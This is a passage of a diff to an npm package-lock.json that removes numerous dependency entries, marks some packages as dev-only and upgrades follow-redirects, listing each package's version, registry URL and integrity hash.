"https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", +- "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", +- "dev": true +- }, +- "node_modules/editorconfig/node_modules/lru-cache": { +- "version": "4.1.5", +- "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.5.tgz", +- "integrity": "sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g==", +- "dev": true, +- "dependencies": { +- "pseudomap": "^1.0.2", +- "yallist": "^2.1.2" +- } +- }, +- "node_modules/editorconfig/node_modules/semver": { +- "version": "5.7.1", +- "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", +- "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", +- "dev": true, +- "bin": { +- "semver": "bin/semver" +- } +- }, +- "node_modules/editorconfig/node_modules/yallist": { +- "version": "2.1.2", +- "resolved": "https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz", +- "integrity": "sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI=", +- "dev": true +- }, + "node_modules/ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", +@@ -11847,6 +9923,7 @@ + "version": "2.5.5", + "resolved": "https://registry.npmjs.org/ejs/-/ejs-2.5.5.tgz", + "integrity": "sha1-bvTpVOp9z1T2aq0v56pCGTLZ7Xc=", ++ "dev": true, + "engines": { + "node": ">=0.10.0" + } +@@ -12163,14 +10240,6 @@ + "resolved": "https://registry.npmjs.org/es6-promise/-/es6-promise-4.2.8.tgz", + "integrity": "sha512-HJDGx5daxeIvxdBxvG2cb9g4tEvwIk3i8+nhX0yGrYmZUzbkdg8QbDevheDB8gd0//uPj4c1EQua8Q+MViT0/w==" + }, +- "node_modules/es6-promisify": { +- "version": "5.0.0", +- "resolved": "https://registry.npmjs.org/es6-promisify/-/es6-promisify-5.0.0.tgz", +- "integrity": "sha512-C+d6UdsYDk0lMebHNR4S2NybQMMngAOnOwYBQjTOiv0MkoJMP0Myw2mgpDLBcpfCmRLxyFqYhS/CfOENq4SJhQ==", +- "dependencies": { +- "es6-promise": "^4.0.3" +- } +- }, + "node_modules/es6-symbol": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/es6-symbol/-/es6-symbol-3.1.3.tgz", +@@ -12180,18 +10249,6 @@ + "ext": "^1.1.2" + } + }, +- "node_modules/es6-weak-map": { +- "version": "2.0.3", +- "resolved": "https://registry.npmjs.org/es6-weak-map/-/es6-weak-map-2.0.3.tgz", +- "integrity": "sha512-p5um32HOTO1kP+w7PRnB+5lQ43Z6muuMuIMffvDN8ZB4GcnjLBV6zGStpbASIMk4DCAvEaamhe2zhyCb/QXXsA==", +- "dev": true, +- "dependencies": { +- "d": "1", +- "es5-ext": "^0.10.46", +- "es6-iterator": "^2.0.3", +- "es6-symbol": "^3.1.1" +- } +- }, + "node_modules/escalade": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", +@@ -12921,14 +10978,6 @@ + "node": ">=8" + } + }, +- "node_modules/esm": { +- "version": "3.2.25", +- "resolved": "https://registry.npmjs.org/esm/-/esm-3.2.25.tgz", +- "integrity": "sha512-U1suiZ2oDVWv4zPO56S0NcR5QriEahGtdN2OR6FiOG4WJvcjBVFB0qI4+eKoWFH483PKGuLuu6V8Z4T5g63UVA==", +- "engines": { +- "node": ">=6" +- } +- }, + "node_modules/espree": { + "version": "9.3.2", + "resolved": "https://registry.npmjs.org/espree/-/espree-9.3.2.tgz", +@@ -13156,6 +11205,7 @@ + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/exit/-/exit-0.1.2.tgz", + "integrity": "sha1-BjJjj42HfMghB9MKD/8aF8uhzQw=", ++ "dev": true, + "engines": { + "node": ">= 0.8.0" + } +@@ -13168,112 +11218,6 @@ + "node": ">=0.8" + } + }, +- "node_modules/expand-brackets": { +- "version": "2.1.4", +- "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz", +- "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", +- "dependencies": { +- "debug": "^2.3.3", +- "define-property": "^0.2.5", +- "extend-shallow": "^2.0.1", +- "posix-character-classes": "^0.1.0", +- "regex-not": "^1.0.0", +- "snapdragon": "^0.8.1", +- "to-regex": "^3.0.1" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/expand-brackets/node_modules/debug": { +- "version": "2.6.9", +- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", +- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", +- "dependencies": { +- "ms": "2.0.0" +- } +- }, +- "node_modules/expand-brackets/node_modules/define-property": { +- "version": "0.2.5", +- "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", +- "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", +- "dependencies": { +- "is-descriptor": "^0.1.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/expand-brackets/node_modules/is-accessor-descriptor": { +- "version": "0.1.6", +- "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", +- "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", +- "dependencies": { +- "kind-of": "^3.0.2" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/expand-brackets/node_modules/is-accessor-descriptor/node_modules/kind-of": { +- "version": "3.2.2", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", +- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", +- "dependencies": { +- "is-buffer": "^1.1.5" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/expand-brackets/node_modules/is-data-descriptor": { +- "version": "0.1.4", +- "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", +- "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", +- "dependencies": { +- "kind-of": "^3.0.2" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/expand-brackets/node_modules/is-data-descriptor/node_modules/kind-of": { +- "version": "3.2.2", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", +- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", +- "dependencies": { +- "is-buffer": "^1.1.5" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/expand-brackets/node_modules/is-descriptor": { +- "version": "0.1.6", +- "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", +- "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", +- "dependencies": { +- "is-accessor-descriptor": "^0.1.6", +- "is-data-descriptor": "^0.1.4", +- "kind-of": "^5.0.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/expand-brackets/node_modules/kind-of": { +- "version": "5.1.0", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", +- "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/expand-brackets/node_modules/ms": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", +- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" +- }, + "node_modules/expand-range": { + "version": "1.8.2", + "resolved": "https://registry.npmjs.org/expand-range/-/expand-range-1.8.2.tgz", +@@ -13320,17 +11264,6 @@ + "node": ">=0.10.0" + } + }, +- "node_modules/expand-tilde": { +- "version": "2.0.2", +- "resolved": "https://registry.npmjs.org/expand-tilde/-/expand-tilde-2.0.2.tgz", +- "integrity": "sha1-l+gBqgUt8CRU3kawK/YhZCzchQI=", +- "dependencies": { +- "homedir-polyfill": "^1.0.1" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/express": { + "version": "4.18.1", + "resolved": "https://registry.npmjs.org/express/-/express-4.18.1.tgz", +@@ -13372,14 +11305,6 @@ + "node": ">= 0.10.0" + } + }, +- "node_modules/express-basic-auth": { +- "version": "1.2.1", +- "resolved": "https://registry.npmjs.org/express-basic-auth/-/express-basic-auth-1.2.1.tgz", +- "integrity": "sha512-L6YQ1wQ/mNjVLAmK3AG1RK6VkokA1BIY6wmiH304Xtt/cLTps40EusZsU1Uop+v9lTDPxdtzbFmdXfFO3KEnwA==", +- "dependencies": { +- "basic-auth": "^2.0.1" +- } +- }, + "node_modules/express-bearer-token": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/express-bearer-token/-/express-bearer-token-2.4.0.tgz", +@@ -13666,6 +11591,7 @@ + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", ++ "dev": true, + "dependencies": { + "is-extendable": "^0.1.0" + }, +@@ -13673,35 +11599,6 @@ + "node": ">=0.10.0" + } + }, +- "node_modules/extglob": { +- "version": "2.0.4", +- "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz", +- "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", +- "dependencies": { +- "array-unique": "^0.3.2", +- "define-property": "^1.0.0", +- "expand-brackets": "^2.1.4", +- "extend-shallow": "^2.0.1", +- "fragment-cache": "^0.2.1", +- "regex-not": "^1.0.0", +- "snapdragon": "^0.8.1", +- "to-regex": "^3.0.1" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/extglob/node_modules/define-property": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", +- "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", +- "dependencies": { +- "is-descriptor": "^1.0.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/extract-zip": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extract-zip/-/extract-zip-2.0.1.tgz", +@@ -13786,11 +11683,6 @@ + "node": ">=8.6.0" + } + }, +- "node_modules/fast-json-patch": { +- "version": "3.1.0", +- "resolved": "https://registry.npmjs.org/fast-json-patch/-/fast-json-patch-3.1.0.tgz", +- "integrity": "sha512-IhpytlsVTRndz0hU5t0/MGzS/etxLlfrpG5V5M9mVbuj9TrJLWaMfsox9REM5rkuGX0T+5qjpe8XA1o0gZ42nA==" +- }, + "node_modules/fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", +@@ -13802,11 +11694,6 @@ + "integrity": "sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc=", + "dev": true + }, +- "node_modules/fast-safe-stringify": { +- "version": "2.1.1", +- "resolved": "https://registry.npmjs.org/fast-safe-stringify/-/fast-safe-stringify-2.1.1.tgz", +- "integrity": "sha512-W+KJc2dmILlPplD/H4K9l9LcAHAfPtP6BY84uVLXQ6Evcz9Lcg33Y2z1IVblT6xdY54PXYVHEv+0Wpq8Io6zkA==" +- }, + "node_modules/fast-text-encoding": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/fast-text-encoding/-/fast-text-encoding-1.0.3.tgz", +@@ -13859,28 +11746,6 @@ + "pend": "~1.2.0" + } + }, +- "node_modules/feature-detect-es6": { +- "version": "1.5.0", +- "resolved": "https://registry.npmjs.org/feature-detect-es6/-/feature-detect-es6-1.5.0.tgz", +- "integrity": "sha512-DzWPIGzTnfp3/KK1d/YPfmgLqeDju9F2DQYBL35VusgSApcA7XGqVtXfR4ETOOFEzdFJ3J7zh0Gkk011TiA4uQ==", +- "dependencies": { +- "array-back": "^1.0.4" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/feature-detect-es6/node_modules/array-back": { +- "version": "1.0.4", +- "resolved": "https://registry.npmjs.org/array-back/-/array-back-1.0.4.tgz", +- "integrity": "sha1-ZEun8JX3/898Q7Xw3DnTwfA8Bjs=", +- "dependencies": { +- "typical": "^2.6.0" +- }, +- "engines": { +- "node": ">=0.12.0" +- } +- }, + "node_modules/feature-policy": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/feature-policy/-/feature-policy-0.3.0.tgz", +@@ -14171,157 +12036,6 @@ + "node": ">=0.8.22" + } + }, +- "node_modules/findup-sync": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/findup-sync/-/findup-sync-3.0.0.tgz", +- "integrity": "sha512-YbffarhcicEhOrm4CtrwdKBdCuz576RLdhJDsIfvNtxUuhdRet1qZcsMjqbePtAseKdAnDyM/IyXbu7PRPRLYg==", +- "dependencies": { +- "detect-file": "^1.0.0", +- "is-glob": "^4.0.0", +- "micromatch": "^3.0.4", +- "resolve-dir": "^1.0.1" +- }, +- "engines": { +- "node": ">= 0.10" +- } +- }, +- "node_modules/findup-sync/node_modules/braces": { +- "version": "2.3.2", +- "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz", +- "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", +- "dependencies": { +- "arr-flatten": "^1.1.0", +- "array-unique": "^0.3.2", +- "extend-shallow": "^2.0.1", +- "fill-range": "^4.0.0", +- "isobject": "^3.0.1", +- "repeat-element": "^1.1.2", +- "snapdragon": "^0.8.1", +- "snapdragon-node": "^2.0.1", +- "split-string": "^3.0.2", +- "to-regex": "^3.0.1" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/findup-sync/node_modules/fill-range": { +- "version": "4.0.0", +- "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz", +- "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", +- "dependencies": { +- "extend-shallow": "^2.0.1", +- "is-number": "^3.0.0", +- "repeat-string": "^1.6.1", +- "to-regex-range": "^2.1.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/findup-sync/node_modules/is-extendable": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", +- "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", +- "dependencies": { +- "is-plain-object": "^2.0.4" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/findup-sync/node_modules/is-number": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", +- "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", +- "dependencies": { +- "kind-of": "^3.0.2" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/findup-sync/node_modules/is-number/node_modules/kind-of": { +- "version": "3.2.2", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", +- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", +- "dependencies": { +- "is-buffer": "^1.1.5" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/findup-sync/node_modules/micromatch": { +- "version": "3.1.10", +- "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", +- "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", +- "dependencies": { +- "arr-diff": "^4.0.0", +- "array-unique": "^0.3.2", +- "braces": "^2.3.1", +- "define-property": "^2.0.2", +- "extend-shallow": "^3.0.2", +- "extglob": "^2.0.4", +- "fragment-cache": "^0.2.1", +- "kind-of": "^6.0.2", +- "nanomatch": "^1.2.9", +- "object.pick": "^1.3.0", +- "regex-not": "^1.0.0", +- "snapdragon": "^0.8.1", +- "to-regex": "^3.0.2" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/findup-sync/node_modules/micromatch/node_modules/extend-shallow": { +- "version": "3.0.2", +- "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", +- "integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=", +- "dependencies": { +- "assign-symbols": "^1.0.0", +- "is-extendable": "^1.0.1" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/findup-sync/node_modules/to-regex-range": { +- "version": "2.1.1", +- "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-2.1.1.tgz", +- "integrity": "sha1-fIDBe53+vlmeJzZ+DU3VWQFB2zg=", +- "dependencies": { +- "is-number": "^3.0.0", +- "repeat-string": "^1.6.1" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/fined": { +- "version": "1.2.0", +- "resolved": "https://registry.npmjs.org/fined/-/fined-1.2.0.tgz", +- "integrity": "sha512-ZYDqPLGxDkDhDZBjZBb+oD1+j0rA4E0pXY50eplAAOPg2N/gUBSSk5IM1/QhPfyVo19lJ+CvXpqfvk+b2p/8Ng==", +- "dependencies": { +- "expand-tilde": "^2.0.2", +- "is-plain-object": "^2.0.3", +- "object.defaults": "^1.1.0", +- "object.pick": "^1.2.0", +- "parse-filepath": "^1.0.1" +- }, +- "engines": { +- "node": ">= 0.10" +- } +- }, +- "node_modules/flagged-respawn": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/flagged-respawn/-/flagged-respawn-1.0.1.tgz", +- "integrity": "sha512-lNaHNVymajmk0OJMBn8fVUAU1BtDeKIqKoVhk4xAALB57aALg6b4W0MfJ/cUE0g9YBXy5XhSlPIpYIJ7HaY/3Q==", +- "engines": { +- "node": ">= 0.10" +- } +- }, + "node_modules/flat": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/flat/-/flat-5.0.2.tgz", +@@ -14369,6 +12083,7 @@ + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/flowstate/-/flowstate-0.4.1.tgz", + "integrity": "sha1-tfu4t/wte9xbVL5GyYMJ73NvTsA=", ++ "dev": true, + "dependencies": { + "clone": "^1.0.2", + "uid-safe": "^2.1.0", +@@ -14379,6 +12094,7 @@ + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/clone/-/clone-1.0.4.tgz", + "integrity": "sha1-2jCcwmPfFZlMaIypAheco8fNfH4=", ++ "dev": true, + "engines": { + "node": ">=0.8" + } +@@ -14424,9 +12140,9 @@ + } + }, + "node_modules/follow-redirects": { +- "version": "1.14.9", +- "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.14.9.tgz", +- "integrity": "sha512-MQDfihBQYMcyy5dhRDJUHcw7lb2Pv/TuE6xP1vyraLukNDHKbDxDNaOE3NbCAdKQApno+GPRyo1YAp89yCjK4w==", ++ "version": "1.15.2", ++ "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.2.tgz", ++ "integrity": "sha512-VQLG33o04KaQ8uYi2tVNbdrWp1QWxNNea+nmIB4EVM28v0hmP17z7aG1+wAkNzVq4KeXTq3221ye5qTJP91JwA==", + "funding": [ + { + "type": "individual", +@@ -14454,17 +12170,7 @@ + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/for-in/-/for-in-1.0.2.tgz", + "integrity": "sha1-gQaNKVqBQuwKxybG4iAMMPttXoA=", +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/for-own": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/for-own/-/for-own-1.0.0.tgz", +- "integrity": "sha1-xjMy9BXO3EsE2/5wz4NklMU8tEs=", +- "dependencies": { +- "for-in": "^1.0.1" +- }, ++ "dev": true, + "engines": { + "node": ">=0.10.0" + } +@@ -14495,46 +12201,6 @@ + "node": "*" + } + }, +- "node_modules/form-data": { +- "version": "3.0.1", +- "resolved": "https://registry.npmjs.org/form-data/-/form-data-3.0.1.tgz", +- "integrity": "sha512-RHkBKtLWUVwd7SqRIvCZMEvAMoGUp0XU+seQiZejj0COz3RI3hWP4sCv3gZWWLjJTd7rGwcsF5eKZGii0r/hbg==", +- "peer": true, +- "dependencies": { +- "asynckit": "^0.4.0", +- "combined-stream": "^1.0.8", +- "mime-types": "^2.1.12" +- }, +- "engines": { +- "node": ">= 6" +- } +- }, +- "node_modules/form-data-encoder": { +- "version": "1.7.1", +- "resolved": "https://registry.npmjs.org/form-data-encoder/-/form-data-encoder-1.7.1.tgz", +- "integrity": "sha512-EFRDrsMm/kyqbTQocNvRXMLjc7Es2Vk+IQFx/YW7hkUH1eBl4J1fqiP34l74Yt0pFLCNpc06fkbVk00008mzjg==" +- }, +- "node_modules/formdata-node": { +- "version": "4.3.2", +- "resolved": "https://registry.npmjs.org/formdata-node/-/formdata-node-4.3.2.tgz", +- "integrity": "sha512-k7lYJyzDOSL6h917favP8j1L0/wNyylzU+x+1w4p5haGVHNlP58dbpdJhiCUsDbWsa9HwEtLp89obQgXl2e0qg==", +- "dependencies": { +- "node-domexception": "1.0.0", +- "web-streams-polyfill": "4.0.0-beta.1" +- }, +- "engines": { +- "node": ">= 12.20" +- } +- }, +- "node_modules/formidable": { +- "version": "1.2.6", +- "resolved": "https://registry.npmjs.org/formidable/-/formidable-1.2.6.tgz", +- "integrity": "sha512-KcpbcpuLNOwrEjnbpMC0gS+X8ciDoZE1kkqzat4a8vrprf+s9pKNQ/QIwWfbfs4ltgmFl3MD177SNTkve3BwGQ==", +- "deprecated": "Please upgrade to latest, formidable@v2 or formidable@v3! Check these notes: https://bit.ly/2ZEqIau", +- "funding": { +- "url": "https://ko-fi.com/tunnckoCore/commissions" +- } +- }, + "node_modules/formik": { + "version": "2.2.9", + "resolved": "https://registry.npmjs.org/formik/-/formik-2.2.9.tgz", +@@ -14584,21 +12250,6 @@ + "node": ">= 0.6" + } + }, +- "node_modules/fragment-cache": { +- "version": "0.2.1", +- "resolved": "https://registry.npmjs.org/fragment-cache/-/fragment-cache-0.2.1.tgz", +- "integrity": "sha1-QpD60n8T6Jvn8zeZxrxaCr//DRk=", +- "dependencies": { +- "map-cache": "^0.2.2" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/freegeoip": { +- "resolved": "services/freegeoip", +- "link": true +- }, + "node_modules/fresh": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", +@@ -14878,14 +12529,6 @@ + "node": ">=10" + } + }, +- "node_modules/generic-pool": { +- "version": "2.5.4", +- "resolved": "https://registry.npmjs.org/generic-pool/-/generic-pool-2.5.4.tgz", +- "integrity": "sha1-OMYYhRPhQDCUjsblz2VSPZd5KZs=", +- "engines": { +- "node": ">= 0.8.0" +- } +- }, + "node_modules/gensync": { + "version": "1.0.0-beta.2", + "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", +@@ -14944,17 +12587,6 @@ + "url": "https://github.com/sponsors/sindresorhus" + } + }, +- "node_modules/get-stream": { +- "version": "4.1.0", +- "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz", +- "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==", +- "dependencies": { +- "pump": "^3.0.0" +- }, +- "engines": { +- "node": ">=6" +- } +- }, + "node_modules/get-symbol-description": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.0.0.tgz", +@@ -14970,19 +12602,6 @@ + "url": "https://github.com/sponsors/ljharb" + } + }, +- "node_modules/get-value": { +- "version": "2.0.6", +- "resolved": "https://registry.npmjs.org/get-value/-/get-value-2.0.6.tgz", +- "integrity": "sha1-3BXKHGcjh8p2vTesCjlbogQqLCg=", +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/getopts": { +- "version": "2.2.5", +- "resolved": "https://registry.npmjs.org/getopts/-/getopts-2.2.5.tgz", +- "integrity": "sha512-9jb7AW5p3in+IiJWhQiZmmwkpLaR/ccTWdWQCtZM66HJcHHLegowh4q4tSD7gouUyeNvFWRavfK9GXosQHDpFA==" +- }, + "node_modules/getos": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/getos/-/getos-3.2.1.tgz", +@@ -15203,65 +12822,6 @@ + "node": ">=0.10.0" + } + }, +- "node_modules/good-bunyan": { +- "version": "3.0.1", +- "resolved": "https://registry.npmjs.org/good-bunyan/-/good-bunyan-3.0.1.tgz", +- "integrity": "sha512-zhux9w1Ux6uLobUYJWyOy4l8HFl6tYol+0yfDtAu2+V9RYZUSVL1RWz83fAjbcoVk4c1h2iQaBRh0EnnVUoOvQ==", +- "dependencies": { +- "bunyan": "^1.8.12", +- "fast-safe-stringify": "^2.0.3", +- "good-squeeze": "^5.0.x", +- "hoek": "^5.0.3", +- "joi": "^13.1.2" +- }, +- "engines": { +- "node": ">=4.0.0" +- }, +- "peerDependencies": { +- "@hapi/good": "8.x" +- } +- }, +- "node_modules/good-bunyan/node_modules/joi": { +- "version": "13.7.0", +- "resolved": "https://registry.npmjs.org/joi/-/joi-13.7.0.tgz", +- "integrity": "sha512-xuY5VkHfeOYK3Hdi91ulocfuFopwgbSORmIwzcwHKESQhC7w1kD5jaVSPnqDxS2I8t3RZ9omCKAxNwXN5zG1/Q==", +- "deprecated": "This version has been deprecated in accordance with the hapi support policy (hapi.im/support). Please upgrade to the latest version to get the best features, bug fixes, and security patches. If you are unable to upgrade at this time, paid support is available for older versions (hapi.im/commercial).", +- "dependencies": { +- "hoek": "5.x.x", +- "isemail": "3.x.x", +- "topo": "3.x.x" +- }, +- "engines": { +- "node": ">=8.9.0" +- } +- }, +- "node_modules/good-squeeze": { +- "version": "5.1.0", +- "resolved": "https://registry.npmjs.org/good-squeeze/-/good-squeeze-5.1.0.tgz", +- "integrity": "sha1-Jl8+i+YIGqRMVdSE0a83XhZnUrk=", +- "deprecated": "This module has moved and is now available at @hapi/good-squeeze. Please update your dependencies as this version is no longer maintained an may contain bugs and security issues.", +- "dependencies": { +- "fast-safe-stringify": "2.0.x", +- "hoek": "4.2.x" +- }, +- "engines": { +- "node": ">=4.0.0" +- } +- }, +- "node_modules/good-squeeze/node_modules/fast-safe-stringify": { +- "version": "2.0.8", +- "resolved": "https://registry.npmjs.org/fast-safe-stringify/-/fast-safe-stringify-2.0.8.tgz", +- "integrity": "sha512-lXatBjf3WPjmWD6DpIZxkeSsCOwqI0maYMpgDlx8g4U2qi4lbjA9oH/HD2a87G+KfsUmo5WbJFmqBZlPxtptag==" +- }, +- "node_modules/good-squeeze/node_modules/hoek": { +- "version": "4.2.1", +- "resolved": "https://registry.npmjs.org/hoek/-/hoek-4.2.1.tgz", +- "integrity": "sha512-QLg82fGkfnJ/4iy1xZ81/9SIJiq1NGFUMGs6ParyjBZr6jW2Ufj/snDqTHixNlHdPNwN2RLVD0Pi3igeK9+JfA==", +- "deprecated": "This version has been deprecated in accordance with the hapi support policy (hapi.im/support). Please upgrade to the latest version to get the best features, bug fixes, and security patches. If you are unable to upgrade at this time, paid support is available for older versions (hapi.im/commercial).", +- "engines": { +- "node": ">=4.0.0" +- } +- }, + "node_modules/google-auth-library": { + "version": "7.11.0", + "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-7.11.0.tgz", +@@ -15363,367 +12923,11 @@ + "node": ">=10" + } + }, +- "node_modules/googleapis": { +- "version": "39.2.0", +- "resolved": "https://registry.npmjs.org/googleapis/-/googleapis-39.2.0.tgz", +- "integrity": "sha512-66X8TG1B33zAt177sG1CoKoYHPP/B66tEpnnSANGCqotMuY5gqSQO8G/0gqHZR2jRgc5CHSSNOJCnpI0SuDxMQ==", +- "dependencies": { +- "google-auth-library": "^3.0.0", +- "googleapis-common": "^0.7.0" +- }, +- "engines": { +- "node": ">=6.0" +- } +- }, +- "node_modules/googleapis-common": { +- "version": "0.7.2", +- "resolved": "https://registry.npmjs.org/googleapis-common/-/googleapis-common-0.7.2.tgz", +- "integrity": "sha512-9DEJIiO4nS7nw0VE1YVkEfXEj8x8MxsuB+yZIpOBULFSN9OIKcUU8UuKgSZFU4lJmRioMfngktrbkMwWJcUhQg==", +- "dependencies": { +- "gaxios": "^1.2.2", +- "google-auth-library": "^3.0.0", +- "pify": "^4.0.0", +- "qs": "^6.5.2", +- "url-template": "^2.0.8", +- "uuid": "^3.2.1" +- } +- }, +- "node_modules/googleapis-common/node_modules/agent-base": { +- "version": "4.3.0", +- "resolved": 